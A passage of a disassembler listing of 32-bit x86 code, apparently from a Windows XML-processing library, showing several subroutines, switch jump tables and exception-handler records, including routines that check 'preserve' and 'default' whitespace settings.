		jmp	loc_69B4E804
; ---------------------------------------------------------------------------


loc_69B4E8F3:				; CODE XREF: sub_69B4E634+1D6j
		mov	ecx, [ebp-24h]
		test	ecx, ecx
		jz	short loc_69B4E950 ; jumptable 69B4E6EA	case 10
		cmp	byte ptr [ebp+18h], 0
		jz	short loc_69B4E914
		lea	eax, [ecx+2Ch]
		mov	[ebp-84h], eax


loc_69B4E909:				; CODE XREF: sub_69B4E634+1C0j
		push	dword ptr [ebp-3Ch]


loc_69B4E90C:				; CODE XREF: sub_69B4E634+114j
		push	eax
		call	sub_69B17320
		jmp	short loc_69B4E950 ; jumptable 69B4E6EA	case 10
; ---------------------------------------------------------------------------


loc_69B4E914:				; CODE XREF: sub_69B4E634+1A8j
					; sub_69B4E634+2CAj
		push	dword ptr [ebp-3Ch]


loc_69B4E917:				; CODE XREF: sub_69B4E634+105j
		call	sub_69B8CC82
		jmp	short loc_69B4E950 ; jumptable 69B4E6EA	case 10
; ---------------------------------------------------------------------------


loc_69B4E91E:				; DATA XREF: .text:69B4E984o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4E927:				; DATA XREF: .text:69B4E988o
		mov	esp, [ebp-18h]
		cmp	byte ptr [ebp+18h], 0
		jz	short loc_69B4E94B
		push	0
		push	0C00CE00Fh
		call	sub_69B2F944
		pop	ecx
		pop	ecx
		push	eax
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2EABC


loc_69B4E94B:				; CODE XREF: sub_69B4E634+2FAj
		call	sub_69B2E860


loc_69B4E950:				; CODE XREF: sub_69B4E634+B6j
					; sub_69B4E634+FAj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh ;	jumptable 69B4E6EA case	10
		call	sub_69B1853C
		retn	14h
sub_69B4E634	endp

; ---------------------------------------------------------------------------
off_69B4E95C	dd offset loc_69B4E6F1	; DATA XREF: sub_69B4E634+B6r
		dd offset loc_69B4E7CB	; jump table for switch	statement
		dd offset loc_69B4E7F9
		dd offset loc_69B4E74D
		dd offset loc_69B4E950
byte_69B4E970	db	0,     1,     2,     2 ; DATA XREF: sub_69B4E634+AFr
		db	2,     2,     1,     2 ; indirect table	for switch statement
		db	3,     3,     4
		align 10h
dword_69B4E980	dd 0FFFFFFFFh			dd offset loc_69B4E91E
		dd offset loc_69B4E927

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4E98C	proc near		; CODE XREF: sub_69B4EBD9+117p
					; sub_69B4F0B4+16Cp

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	edi, ebx
		mov	esi, ecx
		mov	[ebp+var_1], 1
		jz	short loc_69B4E9B1
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+108h]
		mov	[ebp+arg_0], eax
		jmp	short loc_69B4E9B4
; ---------------------------------------------------------------------------


loc_69B4E9B1:				; CODE XREF: sub_69B4E98C+14j
		mov	[ebp+arg_0], ebx


loc_69B4E9B4:				; CODE XREF: sub_69B4E98C+23j
		cmp	[ebp+arg_0], ebx
		jnz	short loc_69B4E9E2
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_69B190D7
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx+114h]
		push	edi
		lea	eax, [esi+30h]
		push	eax
		mov	byte ptr [esi+34h], 1
		call	sub_69B17320
		mov	[esi+3Ch], ebx
		jmp	short loc_69B4EA3F
; ---------------------------------------------------------------------------


loc_69B4E9E2:				; CODE XREF: sub_69B4E98C+2Bj
		cmp	[esi+34h], bl
		jz	short loc_69B4EA09
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+110h]
		push	dword ptr [eax+8]
		mov	ecx, esi
		push	dword ptr [eax+0Ch]
		call	sub_69B4E3A1
		mov	eax, [edi]
		push	ebx
		mov	ecx, edi
		call	dword ptr [eax+114h]


loc_69B4EA09:				; CODE XREF: sub_69B4E98C+59j
		cmp	[esi+3Ch], ebx
		jbe	short loc_69B4EA1D


loc_69B4EA0E:				; CODE XREF: sub_69B4E98C+ABj
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		call	sub_69B4E3A1
		jmp	short loc_69B4EA3F
; ---------------------------------------------------------------------------


loc_69B4EA1D:				; CODE XREF: sub_69B4E98C+80j
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [esi+30h]
		jnz	short loc_69B4EA39
		call	sub_69B47E7F
		push	dword ptr [eax+8]
		mov	ecx, esi
		push	dword ptr [eax+0Ch]
		call	sub_69B4E3A1
		jmp	short loc_69B4EA0E
; ---------------------------------------------------------------------------


loc_69B4EA39:				; CODE XREF: sub_69B4E98C+97j
		mov	[esi+34h], bl
		mov	[ebp+var_1], bl


loc_69B4EA3F:				; CODE XREF: sub_69B4E98C+54j
					; sub_69B4E98C+8Fj
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B4E98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4EA49	proc near		; DATA XREF: .text:69B123F0o

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+4], 2
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		setz	[ebp+var_1]
		push	edi
		mov	edi, [eax+1Ch]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_69B4EBB1
		mov	ecx, [edi+8]
		mov	eax, ecx
		shr	eax, 18h
		and	eax, 1Fh
		setz	byte ptr [ebp+arg_0+3]
		cmp	eax, 7
		jz	short loc_69B4EA8D
		cmp	eax, 4
		jz	short loc_69B4EA8D
		or	ecx, 10000h
		mov	[edi+8], ecx


loc_69B4EA8D:				; CODE XREF: sub_69B4EA49+34j
					; sub_69B4EA49+39j
		cmp	[esi+3Ch], ebx
		jbe	short loc_69B4EA99
		mov	ecx, esi
		call	sub_69B4E426


loc_69B4EA99:				; CODE XREF: sub_69B4EA49+47j
		push	ebx
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		mov	eax, [esi+50h]
		mov	byte ptr [esi+34h], 0
		mov	ecx, [edi+8]
		shr	ecx, 14h
		test	cl, 1
		jz	short loc_69B4EABE
		cmp	eax, ebx
		jz	short loc_69B4EAD2
		mov	ebx, [eax+24h]
		jmp	short loc_69B4EAD2
; ---------------------------------------------------------------------------


loc_69B4EABE:				; CODE XREF: sub_69B4EA49+6Aj
		cmp	eax, ebx
		jz	short loc_69B4EAD2
		mov	eax, [eax+1Ch]
		cmp	eax, ebx
		jz	short loc_69B4EACE
		mov	eax, [eax+18h]
		jmp	short loc_69B4EAD0
; ---------------------------------------------------------------------------


loc_69B4EACE:				; CODE XREF: sub_69B4EA49+7Ej
		xor	eax, eax


loc_69B4EAD0:				; CODE XREF: sub_69B4EA49+83j
		mov	ebx, eax


loc_69B4EAD2:				; CODE XREF: sub_69B4EA49+6Ej
					; sub_69B4EA49+73j ...
		xor	eax, eax
		mov	al, [esi+4Ch]
		push	ebx
		mov	ecx, edi
		push	eax
		push	1
		push	0
		call	sub_69B4B0C7
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	short loc_69B4EB12
		mov	eax, [edi+8]
		shr	eax, 4
		and	eax, 3Fh
		cmp	eax, 1
		jle	short loc_69B4EB12
		cmp	eax, 0Ch
		jge	short loc_69B4EB12
		cmp	byte ptr [esi+41h], 0
		jz	short loc_69B4EB12
		push	0
		push	ebx
		push	dword ptr [edi+0Ch]
		push	edi
		push	[ebp+arg_4]
		call	sub_69B4E634


loc_69B4EB12:				; CODE XREF: sub_69B4EA49+9Fj
					; sub_69B4EA49+ADj ...
		cmp	byte ptr [esi+2Dh], 0
		jnz	short loc_69B4EB53
		mov	eax, [edi+8]
		shr	eax, 14h
		test	al, 1
		jz	short loc_69B4EB53
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 12h
		mov	ebx, eax
		jg	short loc_69B4EB34
		call	sub_69B2E6D8


loc_69B4EB34:				; CODE XREF: sub_69B4EA49+E4j
		mov	eax, [edi]
		mov	ebx, [ebx+54h]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		cmp	eax, ebx
		jnz	short loc_69B4EB53
		push	0
		push	edi
		call	sub_69B4EE00
		mov	byte ptr [esi+44h], 1
		mov	[esi+45h], al
		jmp	short loc_69B4EB93
; ---------------------------------------------------------------------------


loc_69B4EB53:				; CODE XREF: sub_69B4EA49+CDj
					; sub_69B4EA49+D7j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	short loc_69B4EB93
		cmp	[ebp+arg_8], 0
		jnz	short loc_69B4EB93
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+118h]
		test	al, al
		jnz	short loc_69B4EB93
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+108h]
		test	eax, eax
		jz	short loc_69B4EB8F
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+108h]
		mov	eax, [eax+8]
		shr	eax, 14h
		test	al, 1
		jz	short loc_69B4EB93


loc_69B4EB8F:				; CODE XREF: sub_69B4EA49+130j
		or	byte ptr [edi+0Ah], 20h


loc_69B4EB93:				; CODE XREF: sub_69B4EA49+108j
					; sub_69B4EA49+10Ej ...
		mov	ecx, [esi+18h]
		test	ecx, ecx
		jz	short loc_69B4EBB1
		mov	eax, [esi+1Ch]
		lea	edx, [eax-1]
		push	eax
		mov	[esi+1Ch], edx
		call	sub_69B1A954
		push	0
		push	eax
		call	sub_69B17320


loc_69B4EBB1:				; CODE XREF: sub_69B4EA49+1Cj
					; sub_69B4EA49+14Fj
		cmp	[ebp+var_1], 0
		jnz	short loc_69B4EBD0
		cmp	[ebp+arg_8], 0
		jnz	short loc_69B4EBCC
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+20h]
		shr	eax, 1
		and	al, 1
		mov	[esi+2Ch], al
		jmp	short loc_69B4EBD0
; ---------------------------------------------------------------------------


loc_69B4EBCC:				; CODE XREF: sub_69B4EA49+172j
		mov	byte ptr [esi+44h], 0


loc_69B4EBD0:				; CODE XREF: sub_69B4EA49+16Cj
					; sub_69B4EA49+181j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_69B4EA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4EBD9	proc near		; DATA XREF: .text:69B123F8o

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_10]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [eax]
		cmp	dword ptr [edi+0Ch], 1
		mov	eax, [edi+4]
		mov	ebx, dword_69B993C0[eax*4]
		setz	byte ptr [ebp+arg_10+3]
		cmp	dword ptr [esi+3Ch], 0
		jbe	short loc_69B4EC27
		test	bl, 20h
		jnz	short loc_69B4EC20
		cmp	eax, 0Dh
		jz	short loc_69B4EC0E
		cmp	eax, 12h
		jnz	short loc_69B4EC20


loc_69B4EC0E:				; CODE XREF: sub_69B4EBD9+2Ej
		push	dword ptr [edi+14h]
		mov	ecx, esi
		push	dword ptr [edi+10h]
		call	sub_69B4E3A1
		jmp	loc_69B4EDF7
; ---------------------------------------------------------------------------


loc_69B4EC20:				; CODE XREF: sub_69B4EBD9+29j
					; sub_69B4EBD9+33j
		mov	ecx, esi
		call	sub_69B4E426


loc_69B4EC27:				; CODE XREF: sub_69B4EBD9+24j
		test	bl, 20h
		jz	short loc_69B4EC4F
		mov	eax, [esi+14h]
		mov	ecx, [esi+10h]
		push	eax
		push	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_8]
		and	ebx, 1Fh
		push	dword ptr [edi+20h]
		push	ebx
		call	sub_69B49219
		mov	ebx, eax
		jmp	loc_69B4ED66
; ---------------------------------------------------------------------------


loc_69B4EC4F:				; CODE XREF: sub_69B4EBD9+51j
		test	bh, 1
		mov	ecx, [ebp+arg_8]
		jz	loc_69B4ED02
		test	ecx, ecx
		jz	loc_69B4ED02
		mov	eax, [edi+4]
		sub	eax, 0Dh
		jz	short loc_69B4ECE7
		dec	eax
		jz	short loc_69B4ECCB
		sub	eax, 4
		jnz	loc_69B4ED35
		cmp	ecx, [esi+48h]
		jnz	short loc_69B4EC8E
		mov	eax, [ecx]
		call	dword ptr [eax+108h]
		test	eax, eax
		jz	loc_69B4EDF7
		jmp	short loc_69B4ECB9
; ---------------------------------------------------------------------------


loc_69B4EC8E:				; CODE XREF: sub_69B4EBD9+A1j
		cmp	byte ptr [esi+2Ch], 0
		jnz	short loc_69B4ECE7
		cmp	byte ptr [esi+34h], 0
		jnz	short loc_69B4ECE7
		mov	eax, [ecx]
		call	dword ptr [eax+108h]
		test	eax, eax
		jz	short loc_69B4ECAB
		cmp	eax, [esi+30h]
		jz	short loc_69B4ECE4


loc_69B4ECAB:				; CODE XREF: sub_69B4EBD9+CBj
		mov	esi, [ebp+arg_8]
		mov	ecx, esi
		call	sub_69B49E98
		test	eax, eax
		jz	short loc_69B4ECC2


loc_69B4ECB9:				; CODE XREF: sub_69B4EBD9+B3j
		or	byte ptr [eax+9], 10h
		jmp	loc_69B4EDF7
; ---------------------------------------------------------------------------


loc_69B4ECC2:				; CODE XREF: sub_69B4EBD9+DEj
		or	byte ptr [esi+9], 8
		jmp	loc_69B4EDF7
; ---------------------------------------------------------------------------


loc_69B4ECCB:				; CODE XREF: sub_69B4EBD9+93j
		mov	al, [ecx+0Bh]
		and	al, 1Fh
		cmp	al, 5
		jnz	short loc_69B4ED35
		push	dword ptr [edi+14h]
		push	dword ptr [edi+10h]
		call	sub_69B47EB6
		jmp	loc_69B4EDF7
; ---------------------------------------------------------------------------


loc_69B4ECE4:				; CODE XREF: sub_69B4EBD9+D0j
		mov	ecx, [ebp+arg_8]


loc_69B4ECE7:				; CODE XREF: sub_69B4EBD9+90j
					; sub_69B4EBD9+B9j ...
		push	dword ptr [edi+14h]
		push	dword ptr [edi+10h]
		push	ecx
		mov	ecx, esi
		call	sub_69B4E98C
		test	al, al
		jnz	loc_69B4EDF7
		mov	ecx, [ebp+arg_8]
		jmp	short loc_69B4ED35
; ---------------------------------------------------------------------------


loc_69B4ED02:				; CODE XREF: sub_69B4EBD9+7Cj
					; sub_69B4EBD9+84j
		cmp	dword ptr [edi+4], 1Bh
		jnz	short loc_69B4ED28
		mov	eax, [edi+14h]
		mov	edi, [edi+10h]
		push	eax
		push	edi
		call	sub_69B190C1
		mov	ecx, [esi+10h]
		mov	edi, eax
		call	sub_69B3DABE
		add	eax, 3Ch
		push	edi
		jmp	loc_69B4EDF1
; ---------------------------------------------------------------------------


loc_69B4ED28:				; CODE XREF: sub_69B4EBD9+12Dj
		mov	eax, ebx
		and	eax, 1Fh
		cmp	al, 12h
		ja	loc_69B4EDF7


loc_69B4ED35:				; CODE XREF: sub_69B4EBD9+98j
					; sub_69B4EBD9+F9j ...
		mov	eax, [esi+14h]
		mov	edx, [esi+10h]
		push	eax
		push	edx
		push	dword ptr [edi+14h]
		and	ebx, 1Fh
		push	dword ptr [edi+10h]
		mov	[ebp+arg_8], ebx
		push	0
		push	ecx
		push	0
		push	ebx
		call	sub_69B49219
		cmp	[ebp+arg_8], 1
		mov	ebx, eax
		jnz	short loc_69B4ED66
		push	ebx
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320


loc_69B4ED66:				; CODE XREF: sub_69B4EBD9+71j
					; sub_69B4EBD9+181j
		movzx	eax, byte ptr [ebp+arg_10+3]
		mov	byte ptr [esi+34h], 0
		shl	eax, 10h
		xor	eax, [ebx+8]
		and	eax, 10000h
		xor	[ebx+8], eax
		and	dword ptr [edi+20h], 0
		mov	[edi+1Ch], ebx
		cmp	dword ptr [esi+28h], 0
		jz	short loc_69B4EDBD
		lea	edi, [esi+20h]
		mov	ecx, [edi]
		test	ecx, ecx
		jz	short loc_69B4EDBD
		mov	eax, [ecx+8]
		inc	dword ptr [esi+24h]
		cmp	[esi+24h], eax
		jl	short loc_69B4EDAC
		add	eax, eax
		push	eax
		call	sub_69B660A0
		push	eax
		push	edi
		call	sub_69B17320


loc_69B4EDAC:				; CODE XREF: sub_69B4EBD9+1C2j
		push	dword ptr [esi+24h]
		mov	ecx, [edi]
		call	sub_69B1A954
		push	ebx
		push	eax
		call	sub_69B17320


loc_69B4EDBD:				; CODE XREF: sub_69B4EBD9+1AEj
					; sub_69B4EBD9+1B7j
		cmp	byte ptr [ebp+arg_10+3], 0
		jnz	short loc_69B4EDF7
		lea	edi, [esi+18h]
		mov	ecx, [edi]
		test	ecx, ecx
		jz	short loc_69B4EDF7
		mov	eax, [ecx+8]
		inc	dword ptr [esi+1Ch]
		cmp	[esi+1Ch], eax
		jl	short loc_69B4EDE6
		add	eax, eax
		push	eax
		call	sub_69B660A0
		push	eax
		push	edi
		call	sub_69B17320


loc_69B4EDE6:				; CODE XREF: sub_69B4EBD9+1FCj
		push	dword ptr [esi+1Ch]
		mov	ecx, [edi]
		call	sub_69B1A954
		push	ebx


loc_69B4EDF1:				; CODE XREF: sub_69B4EBD9+14Aj
		push	eax
		call	sub_69B17320


loc_69B4EDF7:				; CODE XREF: sub_69B4EBD9+42j
					; sub_69B4EBD9+ADj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		pop	ebp
		retn	14h
sub_69B4EBD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4EE00	proc near		; CODE XREF: sub_69B4EA49+FCp
					; sub_69B4F0B4+26Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	ecx, [esp+arg_0]
		push	esi
		push	0
		push	1
		push	0
		call	sub_69B4AAFC
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B4EE3D
		cmp	[esp+4+arg_4], 0
		mov	ecx, esi
		push	offset aPreserve ; "preserve"
		jz	short loc_69B4EE54
		call	sub_69B2EF33
		test	al, al
		jnz	short loc_69B4EE5D
		push	offset aDefault	; "default"
		mov	ecx, esi
		call	sub_69B2EF33


loc_69B4EE39:				; CODE XREF: sub_69B4EE00+6Dj
		test	al, al
		jnz	short loc_69B4EE4E


loc_69B4EE3D:				; CODE XREF: sub_69B4EE00+14j
		mov	eax, 0C00CE573h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4EE4E:				; CODE XREF: sub_69B4EE00+3Bj
		xor	al, al


loc_69B4EE50:				; CODE XREF: sub_69B4EE00+5Fj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_69B4EE54:				; CODE XREF: sub_69B4EE00+22j
		call	sub_69B2EF04
		test	al, al
		jz	short loc_69B4EE61


loc_69B4EE5D:				; CODE XREF: sub_69B4EE00+2Bj
		mov	al, 1
		jmp	short loc_69B4EE50
; ---------------------------------------------------------------------------


loc_69B4EE61:				; CODE XREF: sub_69B4EE00+5Bj
		push	offset aDefault	; "default"
		mov	ecx, esi
		call	sub_69B2EF04
		jmp	short loc_69B4EE39
sub_69B4EE00	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4EE6F	proc near		; CODE XREF: sub_69B3DADB+142p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_69B4E278
		lea	eax, [esi+44h]
		mov	dword ptr [esi], offset	off_69B12734
		mov	dword ptr [esi+4], offset off_69B282DC
		and	dword ptr [eax], 0
		push	dword ptr [edi+70h]
		push	eax
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B4EE6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4EEA0	proc near		; CODE XREF: .text:69B4F3EFp
		push	esi
		push	edi
		mov	esi, ecx
		push	0
		lea	edi, [esi+40h]
		push	edi
		mov	dword ptr [esi-4], offset off_69B12734
		mov	dword ptr [esi], offset	off_69B282DC
		call	sub_69B17320
		push	edi
		call	sub_69B17230
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	sub_69B4E344
sub_69B4EEA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4EECB	proc near		; DATA XREF: .text:69B12740o
		push	18h
		push	offset dword_69B4EF78
		call	sub_69B19C5C
		xor	edi, edi
		mov	[ebp-4], edi
		mov	eax, [ebp+10h]
		sub	eax, edi
		jz	short loc_69B4EF30
		sub	eax, 5
		jz	short loc_69B4EF23
		sub	eax, 3
		jz	short loc_69B4EEFD
		dec	eax
		jnz	short loc_69B4EF64
		mov	eax, [ebp+8]
		mov	ecx, [eax+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+70h]
		jmp	short loc_69B4EF64
; ---------------------------------------------------------------------------


loc_69B4EEFD:				; CODE XREF: sub_69B4EECB+20j
		mov	esi, [ebp+8]
		mov	ecx, [esi+10h]
		mov	[ebp-1Ch], ecx
		call	sub_69B3EE2A
		lea	eax, [esi+30h]
		mov	[ebp-20h], eax
		push	edi
		push	eax
		call	sub_69B17320
		mov	[esi+3Ch], edi
		lea	eax, [esi+38h]
		mov	[ebp-24h], eax
		jmp	short loc_69B4EF39
; ---------------------------------------------------------------------------


loc_69B4EF23:				; CODE XREF: sub_69B4EECB+1Bj
		mov	eax, [ebp+8]
		mov	ecx, [eax+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+48h]
		jmp	short loc_69B4EF64
; ---------------------------------------------------------------------------


loc_69B4EF30:				; CODE XREF: sub_69B4EECB+16j
		mov	eax, [ebp+8]
		add	eax, 30h
		mov	[ebp-28h], eax


loc_69B4EF39:				; CODE XREF: sub_69B4EECB+56j
		push	edi
		push	eax
		call	sub_69B17320
		jmp	short loc_69B4EF64
; ---------------------------------------------------------------------------


loc_69B4EF42:				; DATA XREF: .text:69B4EF7Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4EF4B:				; DATA XREF: .text:69B4EF80o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+8]
		push	dword ptr [eax+10h] ; int
		call	sub_69B2E808
		push	eax		; lpString
		push	dword ptr [ebp+0Ch] ; int
		call	sub_69B4F82B
		mov	edi, eax


loc_69B4EF64:				; CODE XREF: sub_69B4EECB+23j
					; sub_69B4EECB+30j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, edi
		call	sub_69B1853C
		retn	0Ch
sub_69B4EECB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B4EF78	dd 0FFFFFFFFh			dd offset loc_69B4EF42
		dd offset loc_69B4EF4B

; =============== S U B	R O U T	I N E =======================================



sub_69B4EF84	proc near		; DATA XREF: .text:69B12744o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		mov	byte ptr [esi+34h], 0
		xor	eax, eax
		pop	esi
		retn	0Ch
sub_69B4EF84	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4EF9E	proc near		; DATA XREF: .text:69B12748o
		push	14h
		push	offset dword_69B4F020
		call	sub_69B19C5C
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-4], ebx
		mov	edi, [ebp+14h]
		mov	eax, [edi+1Ch]
		mov	[ebp-20h], eax
		or	byte ptr [eax+0Ah], 1
		mov	esi, [ebp+8]
		cmp	[esi+3Ch], ebx
		jbe	short loc_69B4EFCE
		mov	ecx, esi
		call	sub_69B4E426


loc_69B4EFCE:				; CODE XREF: sub_69B4EF9E+27j
		lea	eax, [esi+30h]
		mov	[ebp-24h], eax
		push	ebx
		push	eax
		call	sub_69B17320
		mov	[esi+34h], bl
		mov	eax, [edi+20h]
		shr	eax, 1
		and	eax, 1
		mov	[esi+2Ch], al
		jmp	short loc_69B4F00E
; ---------------------------------------------------------------------------


loc_69B4EFEB:				; DATA XREF: .text:69B4F024o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4EFF4:				; DATA XREF: .text:69B4F028o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+8]
		push	dword ptr [eax+10h] ; int
		call	sub_69B2E808
		push	eax		; lpString
		push	dword ptr [ebp+0Ch] ; int
		call	sub_69B4F82B
		mov	[ebp-1Ch], eax


loc_69B4F00E:				; CODE XREF: sub_69B4EF9E+4Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		call	sub_69B1853C
		retn	10h
sub_69B4EF9E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B4F020	dd 0FFFFFFFFh			dd offset loc_69B4EFEB
		dd offset loc_69B4EFF4

; =============== S U B	R O U T	I N E =======================================



sub_69B4F02C	proc near		; DATA XREF: .text:69B1274Co
		push	1Ch
		push	offset dword_69B4F0A8
		call	sub_69B19C5C
		xor	edi, edi
		mov	[ebp-4], edi
		mov	esi, [ebp+8]
		mov	ecx, [esi+10h]
		mov	[ebp-1Ch], ecx
		push	edi
		call	sub_69B3D622
		mov	ecx, [esi+10h]
		mov	[ebp-20h], ecx
		call	sub_69B3EE2A
		lea	eax, [esi+30h]
		mov	[ebp-24h], eax
		push	edi
		push	eax
		call	sub_69B17320
		mov	[esi+3Ch], edi
		lea	eax, [esi+38h]
		mov	[ebp-28h], eax
		push	edi
		push	eax
		call	sub_69B17320
		mov	eax, [ebp+10h]
		mov	[ebp-2Ch], eax
		jmp	short loc_69B4F09C
; ---------------------------------------------------------------------------


loc_69B4F07C:				; DATA XREF: .text:69B4F0ACo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4F085:				; DATA XREF: .text:69B4F0B0o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+8]
		push	dword ptr [eax+10h] ; int
		call	sub_69B2E808
		push	eax		; lpString
		push	dword ptr [ebp+0Ch] ; int
		call	sub_69B4F82B


loc_69B4F09C:				; CODE XREF: sub_69B4F02C+4Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	14h
sub_69B4F02C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_69B4F0A8	dd 0FFFFFFFFh			dd offset loc_69B4F07C
		dd offset loc_69B4F085

; =============== S U B	R O U T	I N E =======================================



sub_69B4F0B4	proc near		; DATA XREF: .text:69B12750o
		push	6Ch
		push	offset dword_69B4F3E0
		call	sub_69B19C5C
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-4], ebx
		mov	eax, [ebp+10h]
		mov	[ebp-20h], eax
		mov	[ebp-21h], bl
		mov	[ebp-22h], bl
		mov	[ebp-23h], bl
		mov	[ebp-24h], bl
		mov	eax, [ebp+18h]
		mov	eax, [eax]
		mov	[ebp-28h], eax
		movzx	eax, word ptr [ebp+14h]
		mov	[ebp-2Ch], eax
		mov	esi, [ebp+8]


loc_69B4F0EC:				; CODE XREF: sub_69B4F0B4+28Ej
		cmp	[ebp-2Ch], ebx
		jle	loc_69B4F347
		mov	eax, [ebp+18h]
		mov	edi, [eax]
		mov	[ebp-30h], edi
		add	dword ptr [ebp+18h], 4
		mov	[ebp-34h], ebx
		mov	eax, [edi+4]
		mov	ecx, dword_69B993C0[eax*4]
		mov	[ebp-38h], ecx
		cmp	[esi+3Ch], ebx
		jbe	short loc_69B4F13E
		test	cl, 20h
		jnz	short loc_69B4F137
		cmp	eax, 0Dh
		jz	short loc_69B4F125
		cmp	eax, 12h
		jnz	short loc_69B4F137


loc_69B4F125:				; CODE XREF: sub_69B4F0B4+6Aj
		push	dword ptr [edi+14h]
		push	dword ptr [edi+10h]
		mov	ecx, esi
		call	sub_69B4E3A1
		jmp	loc_69B4F294
; ---------------------------------------------------------------------------


loc_69B4F137:				; CODE XREF: sub_69B4F0B4+65j
					; sub_69B4F0B4+6Fj
		mov	ecx, esi
		call	sub_69B4E426


loc_69B4F13E:				; CODE XREF: sub_69B4F0B4+60j
		test	byte ptr [ebp-38h], 20h
		jz	short loc_69B4F187
		mov	ecx, [esi+44h]
		mov	[ebp-3Ch], ecx
		push	dword ptr [edi+14h]
		push	dword ptr [edi+10h]
		call	sub_69B4DFFF
		mov	[ebp-40h], eax
		mov	eax, [esi+14h]
		mov	[ebp-44h], eax
		mov	ecx, [esi+10h]
		mov	[ebp-48h], ecx
		push	eax
		push	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-40h]
		mov	eax, [ebp-38h]
		and	eax, 1Fh
		push	eax
		call	sub_69B49219
		mov	ebx, eax
		mov	[ebp-34h], ebx
		jmp	loc_69B4F273
; ---------------------------------------------------------------------------


loc_69B4F187:				; CODE XREF: sub_69B4F0B4+8Ej
		test	byte ptr [ebp-37h], 1
		jz	loc_69B4F22B
		mov	eax, [edi+4]
		sub	eax, 0Dh
		jz	short loc_69B4F215
		dec	eax
		jz	short loc_69B4F1F8
		sub	eax, 4
		jnz	loc_69B4F235
		cmp	byte ptr [esi+34h], 0
		jnz	short loc_69B4F215
		cmp	byte ptr [esi+2Ch], 0
		jz	short loc_69B4F1B7
		cmp	byte ptr [ebp-21h], 0
